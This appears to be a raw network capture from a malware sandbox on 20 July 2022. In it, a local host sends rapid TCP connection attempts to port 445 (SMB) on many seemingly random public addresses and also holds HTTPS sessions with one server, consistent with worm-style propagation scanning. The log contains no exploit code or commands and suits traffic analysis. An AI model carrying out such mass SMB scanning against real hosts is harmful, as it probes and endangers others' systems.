Jul 20, 2022 19:32:59.046236992 CEST	55636	445	192.168.2.7	142.13.30.23
Jul 20, 2022 19:32:59.047080994 CEST	55637	445	192.168.2.7	131.93.158.70
Jul 20, 2022 19:32:59.049849033 CEST	55641	445	192.168.2.7	213.250.51.244
Jul 20, 2022 19:32:59.050590038 CEST	55642	445	192.168.2.7	76.39.135.86
Jul 20, 2022 19:32:59.051887989 CEST	55644	445	192.168.2.7	69.107.244.5
Jul 20, 2022 19:32:59.053147078 CEST	55646	445	192.168.2.7	119.193.27.122
Jul 20, 2022 19:32:59.054415941 CEST	55648	445	192.168.2.7	66.148.102.111
Jul 20, 2022 19:32:59.055129051 CEST	55649	445	192.168.2.7	216.78.19.48
Jul 20, 2022 19:32:59.059035063 CEST	55655	445	192.168.2.7	100.143.118.110
Jul 20, 2022 19:32:59.068181992 CEST	55658	445	192.168.2.7	38.192.156.81
Jul 20, 2022 19:32:59.070076942 CEST	55661	445	192.168.2.7	133.186.39.161
Jul 20, 2022 19:32:59.070779085 CEST	55662	445	192.168.2.7	37.186.155.170
Jul 20, 2022 19:32:59.072732925 CEST	55665	445	192.168.2.7	39.218.118.113
Jul 20, 2022 19:32:59.074990988 CEST	55668	445	192.168.2.7	84.219.83.226
Jul 20, 2022 19:32:59.078753948 CEST	55669	445	192.168.2.7	53.226.173.209
Jul 20, 2022 19:32:59.081943989 CEST	55673	445	192.168.2.7	162.3.152.69
Jul 20, 2022 19:32:59.353245974 CEST	445	55661	133.186.39.161	192.168.2.7
Jul 20, 2022 19:32:59.657515049 CEST	55609	445	192.168.2.7	51.158.189.69
Jul 20, 2022 19:32:59.682842016 CEST	445	55609	51.158.189.69	192.168.2.7
Jul 20, 2022 19:32:59.839745045 CEST	55686	445	192.168.2.7	131.153.221.58
Jul 20, 2022 19:32:59.888046026 CEST	55661	445	192.168.2.7	133.186.39.161
Jul 20, 2022 19:33:00.012686014 CEST	445	55686	131.153.221.58	192.168.2.7
Jul 20, 2022 19:33:00.012880087 CEST	55686	445	192.168.2.7	131.153.221.58
Jul 20, 2022 19:33:00.172107935 CEST	445	55661	133.186.39.161	192.168.2.7
Jul 20, 2022 19:33:00.341202974 CEST	55609	445	192.168.2.7	51.158.189.69
Jul 20, 2022 19:33:00.366949081 CEST	445	55609	51.158.189.69	192.168.2.7
Jul 20, 2022 19:33:00.683907032 CEST	55686	445	192.168.2.7	131.153.221.58
Jul 20, 2022 19:33:00.685834885 CEST	55687	445	192.168.2.7	213.142.151.88
Jul 20, 2022 19:33:00.738318920 CEST	445	55687	213.142.151.88	192.168.2.7
Jul 20, 2022 19:33:00.738547087 CEST	55687	445	192.168.2.7	213.142.151.88
Jul 20, 2022 19:33:00.766689062 CEST	55687	445	192.168.2.7	213.142.151.88
Jul 20, 2022 19:33:00.767369032 CEST	55688	445	192.168.2.7	51.158.189.70
Jul 20, 2022 19:33:00.768914938 CEST	55689	445	192.168.2.7	121.3.139.17
Jul 20, 2022 19:33:00.769567013 CEST	55690	445	192.168.2.7	31.98.180.114
Jul 20, 2022 19:33:00.771723986 CEST	55694	445	192.168.2.7	208.44.179.232
Jul 20, 2022 19:33:00.772222996 CEST	55695	445	192.168.2.7	105.137.17.188
Jul 20, 2022 19:33:00.772758961 CEST	55696	445	192.168.2.7	198.26.38.185
Jul 20, 2022 19:33:00.773247957 CEST	55697	445	192.168.2.7	160.128.104.94
Jul 20, 2022 19:33:00.774646044 CEST	55700	445	192.168.2.7	166.167.218.238
Jul 20, 2022 19:33:00.776930094 CEST	55705	445	192.168.2.7	39.89.253.33
Jul 20, 2022 19:33:00.777476072 CEST	55706	445	192.168.2.7	18.105.38.31
Jul 20, 2022 19:33:00.823007107 CEST	445	55687	213.142.151.88	192.168.2.7
Jul 20, 2022 19:33:00.846906900 CEST	55709	445	192.168.2.7	40.48.85.120
Jul 20, 2022 19:33:00.849805117 CEST	55715	445	192.168.2.7	165.178.109.215
Jul 20, 2022 19:33:00.850327969 CEST	55716	445	192.168.2.7	86.244.95.52
Jul 20, 2022 19:33:00.852195978 CEST	55720	445	192.168.2.7	155.133.216.238
Jul 20, 2022 19:33:00.853713989 CEST	445	55686	131.153.221.58	192.168.2.7
Jul 20, 2022 19:33:00.856122971 CEST	55721	445	192.168.2.7	82.206.129.120
Jul 20, 2022 19:33:00.877770901 CEST	55722	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:33:00.878703117 CEST	55724	445	192.168.2.7	216.238.76.244
Jul 20, 2022 19:33:00.878767967 CEST	55726	445	192.168.2.7	108.172.232.87
Jul 20, 2022 19:33:00.878830910 CEST	55728	445	192.168.2.7	159.252.138.108
Jul 20, 2022 19:33:00.878917933 CEST	55730	445	192.168.2.7	162.145.204.128
Jul 20, 2022 19:33:00.879018068 CEST	55733	445	192.168.2.7	78.13.63.146
Jul 20, 2022 19:33:00.879098892 CEST	55735	445	192.168.2.7	195.252.180.74
Jul 20, 2022 19:33:00.879267931 CEST	55741	445	192.168.2.7	147.131.108.42
Jul 20, 2022 19:33:00.879276991 CEST	55742	445	192.168.2.7	198.26.54.186
Jul 20, 2022 19:33:00.879398108 CEST	55744	445	192.168.2.7	175.55.228.75
Jul 20, 2022 19:33:00.879472971 CEST	55746	445	192.168.2.7	109.218.224.139
Jul 20, 2022 19:33:00.879568100 CEST	55749	445	192.168.2.7	72.168.143.47
Jul 20, 2022 19:33:00.879694939 CEST	55753	445	192.168.2.7	47.18.235.31
Jul 20, 2022 19:33:00.880137920 CEST	55766	445	192.168.2.7	54.102.170.114
Jul 20, 2022 19:33:00.894531012 CEST	445	55722	45.60.207.10	192.168.2.7
Jul 20, 2022 19:33:00.894644022 CEST	55722	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:33:00.894788980 CEST	55722	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:33:00.912614107 CEST	445	55722	45.60.207.10	192.168.2.7
Jul 20, 2022 19:33:00.912653923 CEST	445	55722	45.60.207.10	192.168.2.7
Jul 20, 2022 19:33:00.912674904 CEST	445	55722	45.60.207.10	192.168.2.7
Jul 20, 2022 19:33:00.912761927 CEST	55722	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:33:00.916770935 CEST	55722	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:33:00.917079926 CEST	55722	445	192.168.2.7	45.60.207.10
Jul 20, 2022 19:33:00.933671951 CEST	445	55722	45.60.207.10	192.168.2.7
Jul 20, 2022 19:33:00.936985016 CEST	445	55722	45.60.207.10	192.168.2.7
Jul 20, 2022 19:33:00.995661974 CEST	55767	445	192.168.2.7	213.142.151.89
Jul 20, 2022 19:33:00.996671915 CEST	55768	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:33:00.997205973 CEST	55769	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:01.016513109 CEST	445	55769	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:01.016628981 CEST	55769	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:01.016752958 CEST	55769	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:01.021521091 CEST	55770	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:01.034944057 CEST	445	55769	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:01.035028934 CEST	55769	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:01.038912058 CEST	445	55770	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:01.039033890 CEST	55770	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:01.039202929 CEST	55770	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:01.058156013 CEST	445	55770	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:01.058186054 CEST	445	55770	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:01.058202028 CEST	445	55770	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:01.058270931 CEST	55770	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:01.058712959 CEST	55770	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:01.058958054 CEST	55770	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:01.078953028 CEST	445	55770	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:01.078978062 CEST	445	55770	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:01.144812107 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.144845009 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.144917965 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.145499945 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.145509005 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.173865080 CEST	445	55768	131.153.221.59	192.168.2.7
Jul 20, 2022 19:33:01.173976898 CEST	55768	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:33:01.174191952 CEST	55768	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:33:01.185430050 CEST	55772	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:33:01.349034071 CEST	445	55768	131.153.221.59	192.168.2.7
Jul 20, 2022 19:33:01.349065065 CEST	445	55768	131.153.221.59	192.168.2.7
Jul 20, 2022 19:33:01.355021954 CEST	445	55772	131.153.221.59	192.168.2.7
Jul 20, 2022 19:33:01.355144024 CEST	55772	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:33:01.355273962 CEST	55772	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:33:01.471970081 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.472054005 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.491765022 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.491801023 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.492048025 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.495214939 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.520040989 CEST	445	55772	131.153.221.59	192.168.2.7
Jul 20, 2022 19:33:01.536503077 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.708005905 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.708038092 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.708061934 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.708106995 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.708128929 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.708154917 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.708161116 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.708184958 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.708189964 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.708199978 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.708230972 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.708247900 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.708276987 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.708282948 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.708308935 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.708331108 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.708372116 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.711189985 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.711210966 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.711221933 CEST	55771	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.711226940 CEST	443	55771	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.840316057 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.840341091 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.840421915 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.840908051 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:01.840917110 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:01.842508078 CEST	55775	445	192.168.2.7	51.158.189.71
Jul 20, 2022 19:33:01.843964100 CEST	55776	445	192.168.2.7	121.3.139.18
Jul 20, 2022 19:33:01.891623020 CEST	55777	445	192.168.2.7	161.76.42.109
Jul 20, 2022 19:33:01.892139912 CEST	55778	445	192.168.2.7	102.31.124.105
Jul 20, 2022 19:33:01.892651081 CEST	55779	445	192.168.2.7	65.25.177.25
Jul 20, 2022 19:33:01.893152952 CEST	55780	445	192.168.2.7	69.214.235.38
Jul 20, 2022 19:33:01.893640995 CEST	55781	445	192.168.2.7	106.240.97.164
Jul 20, 2022 19:33:01.894613028 CEST	55783	445	192.168.2.7	181.21.142.78
Jul 20, 2022 19:33:01.953463078 CEST	55788	445	192.168.2.7	68.34.235.85
Jul 20, 2022 19:33:01.953603983 CEST	55789	445	192.168.2.7	42.152.54.127
Jul 20, 2022 19:33:01.953819990 CEST	55792	445	192.168.2.7	5.51.160.206
Jul 20, 2022 19:33:01.967478991 CEST	55796	445	192.168.2.7	130.132.118.146
Jul 20, 2022 19:33:01.970345020 CEST	55802	445	192.168.2.7	63.140.13.218
Jul 20, 2022 19:33:01.970966101 CEST	55803	445	192.168.2.7	38.27.109.131
Jul 20, 2022 19:33:01.972428083 CEST	55806	445	192.168.2.7	61.227.240.171
Jul 20, 2022 19:33:01.983450890 CEST	55808	445	192.168.2.7	219.248.204.30
Jul 20, 2022 19:33:01.998747110 CEST	55809	445	192.168.2.7	105.78.154.222
Jul 20, 2022 19:33:02.000201941 CEST	55812	445	192.168.2.7	192.101.41.185
Jul 20, 2022 19:33:02.022624016 CEST	55815	445	192.168.2.7	120.130.196.143
Jul 20, 2022 19:33:02.024627924 CEST	55817	445	192.168.2.7	118.197.5.3
Jul 20, 2022 19:33:02.024813890 CEST	55821	445	192.168.2.7	105.171.183.0
Jul 20, 2022 19:33:02.024826050 CEST	55820	445	192.168.2.7	69.191.13.126
Jul 20, 2022 19:33:02.025047064 CEST	55826	445	192.168.2.7	83.12.229.154
Jul 20, 2022 19:33:02.025077105 CEST	55828	445	192.168.2.7	151.199.226.154
Jul 20, 2022 19:33:02.025176048 CEST	55831	445	192.168.2.7	44.246.108.26
Jul 20, 2022 19:33:02.025233984 CEST	55833	445	192.168.2.7	162.2.200.140
Jul 20, 2022 19:33:02.025305986 CEST	55835	445	192.168.2.7	46.20.218.131
Jul 20, 2022 19:33:02.025377035 CEST	55837	445	192.168.2.7	186.23.11.120
Jul 20, 2022 19:33:02.025491953 CEST	55841	445	192.168.2.7	168.155.233.233
Jul 20, 2022 19:33:02.062738895 CEST	55853	445	192.168.2.7	213.142.151.90
Jul 20, 2022 19:33:02.119592905 CEST	445	55853	213.142.151.90	192.168.2.7
Jul 20, 2022 19:33:02.119788885 CEST	55853	445	192.168.2.7	213.142.151.90
Jul 20, 2022 19:33:02.119915962 CEST	55853	445	192.168.2.7	213.142.151.90
Jul 20, 2022 19:33:02.122307062 CEST	55854	445	192.168.2.7	213.142.151.90
Jul 20, 2022 19:33:02.165246010 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.165395021 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:02.167546988 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:02.167555094 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.167778015 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.169012070 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:02.176742077 CEST	445	55853	213.142.151.90	192.168.2.7
Jul 20, 2022 19:33:02.176764965 CEST	445	55853	213.142.151.90	192.168.2.7
Jul 20, 2022 19:33:02.179404020 CEST	445	55854	213.142.151.90	192.168.2.7
Jul 20, 2022 19:33:02.179584026 CEST	55854	445	192.168.2.7	213.142.151.90
Jul 20, 2022 19:33:02.179706097 CEST	55854	445	192.168.2.7	213.142.151.90
Jul 20, 2022 19:33:02.212486029 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.235851049 CEST	445	55854	213.142.151.90	192.168.2.7
Jul 20, 2022 19:33:02.240439892 CEST	445	55806	61.227.240.171	192.168.2.7
Jul 20, 2022 19:33:02.380551100 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.380578041 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.380661011 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.380744934 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:02.380754948 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.380769014 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.380811930 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:02.380816936 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.380873919 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.380877018 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:02.380920887 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:02.383980036 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:02.383991957 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.383999109 CEST	55774	443	192.168.2.7	52.242.101.226
Jul 20, 2022 19:33:02.384005070 CEST	443	55774	52.242.101.226	192.168.2.7
Jul 20, 2022 19:33:02.841676950 CEST	55806	445	192.168.2.7	61.227.240.171
Jul 20, 2022 19:33:02.921334028 CEST	55857	445	192.168.2.7	51.158.189.72
Jul 20, 2022 19:33:02.922019958 CEST	55858	445	192.168.2.7	121.3.139.19
Jul 20, 2022 19:33:02.944228888 CEST	445	55857	51.158.189.72	192.168.2.7
Jul 20, 2022 19:33:02.999243021 CEST	55859	445	192.168.2.7	181.117.115.200
Jul 20, 2022 19:33:03.000405073 CEST	55860	445	192.168.2.7	135.181.25.19
Jul 20, 2022 19:33:03.002029896 CEST	55861	445	192.168.2.7	153.134.127.193
Jul 20, 2022 19:33:03.003175020 CEST	55862	445	192.168.2.7	125.53.231.196
Jul 20, 2022 19:33:03.004376888 CEST	55863	445	192.168.2.7	130.7.254.166
Jul 20, 2022 19:33:03.006613970 CEST	55865	445	192.168.2.7	137.69.107.29
Jul 20, 2022 19:33:03.080584049 CEST	55868	445	192.168.2.7	38.215.214.231
Jul 20, 2022 19:33:03.081032991 CEST	55870	445	192.168.2.7	176.35.21.30
Jul 20, 2022 19:33:03.081290007 CEST	55876	445	192.168.2.7	135.216.125.24
Jul 20, 2022 19:33:03.104717016 CEST	55879	445	192.168.2.7	189.84.153.35
Jul 20, 2022 19:33:03.105184078 CEST	55884	445	192.168.2.7	177.199.164.168
Jul 20, 2022 19:33:03.105222940 CEST	55885	445	192.168.2.7	18.248.81.56
Jul 20, 2022 19:33:03.105343103 CEST	55888	445	192.168.2.7	51.229.254.40
Jul 20, 2022 19:33:03.108644962 CEST	55890	445	192.168.2.7	38.111.245.168
Jul 20, 2022 19:33:03.110851049 CEST	445	55806	61.227.240.171	192.168.2.7
Jul 20, 2022 19:33:03.128422022 CEST	55893	445	192.168.2.7	194.212.71.30
Jul 20, 2022 19:33:03.131200075 CEST	55896	445	192.168.2.7	78.241.12.58
Jul 20, 2022 19:33:03.183161974 CEST	55898	445	192.168.2.7	167.119.39.164
Jul 20, 2022 19:33:03.183187962 CEST	55899	445	192.168.2.7	180.123.231.189
Jul 20, 2022 19:33:03.183371067 CEST	55903	445	192.168.2.7	169.209.11.109
Jul 20, 2022 19:33:03.183504105 CEST	55907	445	192.168.2.7	204.229.2.248
Jul 20, 2022 19:33:03.183594942 CEST	55910	445	192.168.2.7	81.16.128.135
Jul 20, 2022 19:33:03.183634043 CEST	55911	445	192.168.2.7	92.91.15.136
Jul 20, 2022 19:33:03.183747053 CEST	55914	445	192.168.2.7	69.44.3.98
Jul 20, 2022 19:33:03.183824062 CEST	55916	445	192.168.2.7	152.179.149.189
Jul 20, 2022 19:33:03.183880091 CEST	55917	445	192.168.2.7	91.165.188.24
Jul 20, 2022 19:33:03.183970928 CEST	55920	445	192.168.2.7	31.73.78.226
Jul 20, 2022 19:33:03.184102058 CEST	55924	445	192.168.2.7	208.84.198.213
Jul 20, 2022 19:33:03.235924959 CEST	445	55910	81.16.128.135	192.168.2.7
Jul 20, 2022 19:33:03.575901031 CEST	55857	445	192.168.2.7	51.158.189.72
Jul 20, 2022 19:33:03.599617958 CEST	445	55857	51.158.189.72	192.168.2.7
Jul 20, 2022 19:33:03.888372898 CEST	55910	445	192.168.2.7	81.16.128.135
Jul 20, 2022 19:33:03.942899942 CEST	445	55910	81.16.128.135	192.168.2.7
Jul 20, 2022 19:33:04.010538101 CEST	55937	445	192.168.2.7	121.3.139.20
Jul 20, 2022 19:33:04.010570049 CEST	55938	445	192.168.2.7	51.158.189.73
Jul 20, 2022 19:33:04.061578035 CEST	55939	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:04.080535889 CEST	445	55939	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:04.080683947 CEST	55939	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:04.080908060 CEST	55939	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:04.100644112 CEST	445	55939	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:04.102088928 CEST	445	55939	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:04.102111101 CEST	445	55939	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:04.102184057 CEST	55939	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:04.102308989 CEST	55939	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:04.102597952 CEST	55939	445	192.168.2.7	45.60.207.11
Jul 20, 2022 19:33:04.120923042 CEST	445	55939	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:04.120945930 CEST	445	55939	45.60.207.11	192.168.2.7
Jul 20, 2022 19:33:04.142834902 CEST	55941	445	192.168.2.7	96.229.116.99
Jul 20, 2022 19:33:04.143517971 CEST	55942	445	192.168.2.7	16.119.175.165
Jul 20, 2022 19:33:04.143888950 CEST	55943	445	192.168.2.7	118.29.102.158
Jul 20, 2022 19:33:04.144107103 CEST	55944	445	192.168.2.7	93.223.67.30
Jul 20, 2022 19:33:04.144299984 CEST	55946	445	192.168.2.7	43.139.12.131
Jul 20, 2022 19:33:04.157531023 CEST	55949	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:04.174637079 CEST	445	55949	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:04.174761057 CEST	55949	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:04.175040960 CEST	55949	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:04.178961992 CEST	55950	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:04.191623926 CEST	445	55949	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:04.191724062 CEST	55949	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:04.195343018 CEST	445	55950	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:04.195506096 CEST	55950	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:04.195935011 CEST	55950	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:04.205535889 CEST	55951	445	192.168.2.7	101.79.1.2
Jul 20, 2022 19:33:04.209713936 CEST	55956	445	192.168.2.7	136.8.39.128
Jul 20, 2022 19:33:04.212382078 CEST	445	55950	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:04.212414026 CEST	445	55950	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:04.212434053 CEST	445	55950	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:04.212769985 CEST	55950	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:04.212899923 CEST	55950	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:04.213455915 CEST	55950	445	192.168.2.7	45.60.207.12
Jul 20, 2022 19:33:04.214843035 CEST	55960	445	192.168.2.7	113.25.17.186
Jul 20, 2022 19:33:04.219461918 CEST	55962	445	192.168.2.7	16.62.209.123
Jul 20, 2022 19:33:04.229295015 CEST	445	55950	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:04.229933023 CEST	445	55950	45.60.207.12	192.168.2.7
Jul 20, 2022 19:33:04.230360985 CEST	55967	445	192.168.2.7	102.230.168.150
Jul 20, 2022 19:33:04.230637074 CEST	55968	445	192.168.2.7	124.24.44.129
Jul 20, 2022 19:33:04.231050014 CEST	55972	445	192.168.2.7	114.71.33.24
Jul 20, 2022 19:33:04.234061956 CEST	55973	445	192.168.2.7	196.147.113.231
Jul 20, 2022 19:33:04.257936954 CEST	55976	445	192.168.2.7	26.238.28.97
Jul 20, 2022 19:33:04.258083105 CEST	55978	445	192.168.2.7	161.45.15.115
Jul 20, 2022 19:33:04.380372047 CEST	55989	445	192.168.2.7	61.192.220.252
Jul 20, 2022 19:33:04.381670952 CEST	55993	445	192.168.2.7	48.117.21.232
Jul 20, 2022 19:33:04.381932020 CEST	55997	445	192.168.2.7	71.188.112.139
Jul 20, 2022 19:33:04.382033110 CEST	55998	445	192.168.2.7	123.157.72.32
Jul 20, 2022 19:33:04.382124901 CEST	55999	445	192.168.2.7	175.164.115.202
Jul 20, 2022 19:33:04.382324934 CEST	56003	445	192.168.2.7	149.146.24.173
Jul 20, 2022 19:33:04.382417917 CEST	56004	445	192.168.2.7	137.193.206.219
Jul 20, 2022 19:33:04.382553101 CEST	56006	445	192.168.2.7	28.55.114.242
Jul 20, 2022 19:33:04.382735968 CEST	56010	445	192.168.2.7	36.64.149.13
Jul 20, 2022 19:33:04.382968903 CEST	56015	445	192.168.2.7	138.95.146.63
Jul 20, 2022 19:33:04.383073092 CEST	56016	445	192.168.2.7	129.181.129.210
Jul 20, 2022 19:33:04.530026913 CEST	56018	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:33:04.687962055 CEST	445	56018	131.153.221.59	192.168.2.7
Jul 20, 2022 19:33:04.688131094 CEST	56018	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:33:04.688761950 CEST	56018	445	192.168.2.7	131.153.221.59
Jul 20, 2022 19:33:04.846308947 CEST	445	56018	131.153.221.59	192.168.2.7
Jul 20, 2022 19:33:04.905388117 CEST	56020	445	192.168.2.7	131.153.221.60
Jul 20, 2022 19:33:05.069060087 CEST	445	56020	131.153.221.60	192.168.2.7
Jul 20, 2022 19:33:05.069196939 CEST	56020	445	192.168.2.7	131.153.221.60
Jul 20, 2022 19:33:05.069345951 CEST	56020	445	192.168.2.7	131.153.221.60
Jul 20, 2022 19:33:05.077380896 CEST	56022	445	192.168.2.7	51.158.189.74
Jul 20, 2022 19:33:05.078151941 CEST	56023	445	192.168.2.7	121.3.139.21
Jul 20, 2022 19:33:05.089303970 CEST	56024	445	192.168.2.7	131.153.221.60
Jul 20, 2022 19:33:05.230139017 CEST	445	56020	131.153.221.60	192.168.2.7
Jul 20, 2022 19:33:05.230176926 CEST	445	56020	131.153.221.60	192.168.2.7
Jul 20, 2022 19:33:05.246973991 CEST	445	56024	131.153.221.60	192.168.2.7
Jul 20, 2022 19:33:05.247169971 CEST	56024	445	192.168.2.7	131.153.221.60
Jul 20, 2022 19:33:05.247356892 CEST	56024	445	192.168.2.7	131.153.221.60
Jul 20, 2022 19:33:05.248797894 CEST	56025	445	192.168.2.7	167.43.92.205
Jul 20, 2022 19:33:05.249810934 CEST	56026	445	192.168.2.7	213.142.151.90
Jul 20, 2022 19:33:05.265361071 CEST	56028	445	192.168.2.7	28.189.236.126
Jul 20, 2022 19:33:05.266730070 CEST	56030	445	192.168.2.7	20.5.128.158
Jul 20, 2022 19:33:05.267363071 CEST	56031	445	192.168.2.7	130.39.139.147
Jul 20, 2022 19:33:05.267937899 CEST	56032	445	192.168.2.7	17.241.24.25
Jul 20, 2022 19:33:05.268533945 CEST	56033	445	192.168.2.7	25.240.222.248
Jul 20, 2022 19:33:05.301470995 CEST	445	56026	213.142.151.90	192.168.2.7
Jul 20, 2022 19:33:05.301558971 CEST	56026	445	192.168.2.7	213.142.151.90
Jul 20, 2022 19:33:05.302294016 CEST	56026	445	192.168.2.7	213.142.151.90
Jul 20, 2022 19:33:05.329879999 CEST	56035	445	192.168.2.7	144.44.66.245
Jul 20, 2022 19:33:05.330121040 CEST	56037	445	192.168.2.7	131.77.164.108
Jul 20, 2022 19:33:05.330271959 CEST	56042	445	192.168.2.7	43.165.70.119
Jul 20, 2022 19:33:05.347611904 CEST	56047	445	192.168.2.7	136.69.143.176
Jul 20, 2022 19:33:05.347764015 CEST	56051	445	192.168.2.7	59.56.91.211
Jul 20, 2022 19:33:05.347800016 CEST	56053	445	192.168.2.7	109.9.51.234
Jul 20, 2022 19:33:05.347821951 CEST	56054	445	192.168.2.7	133.250.26.73
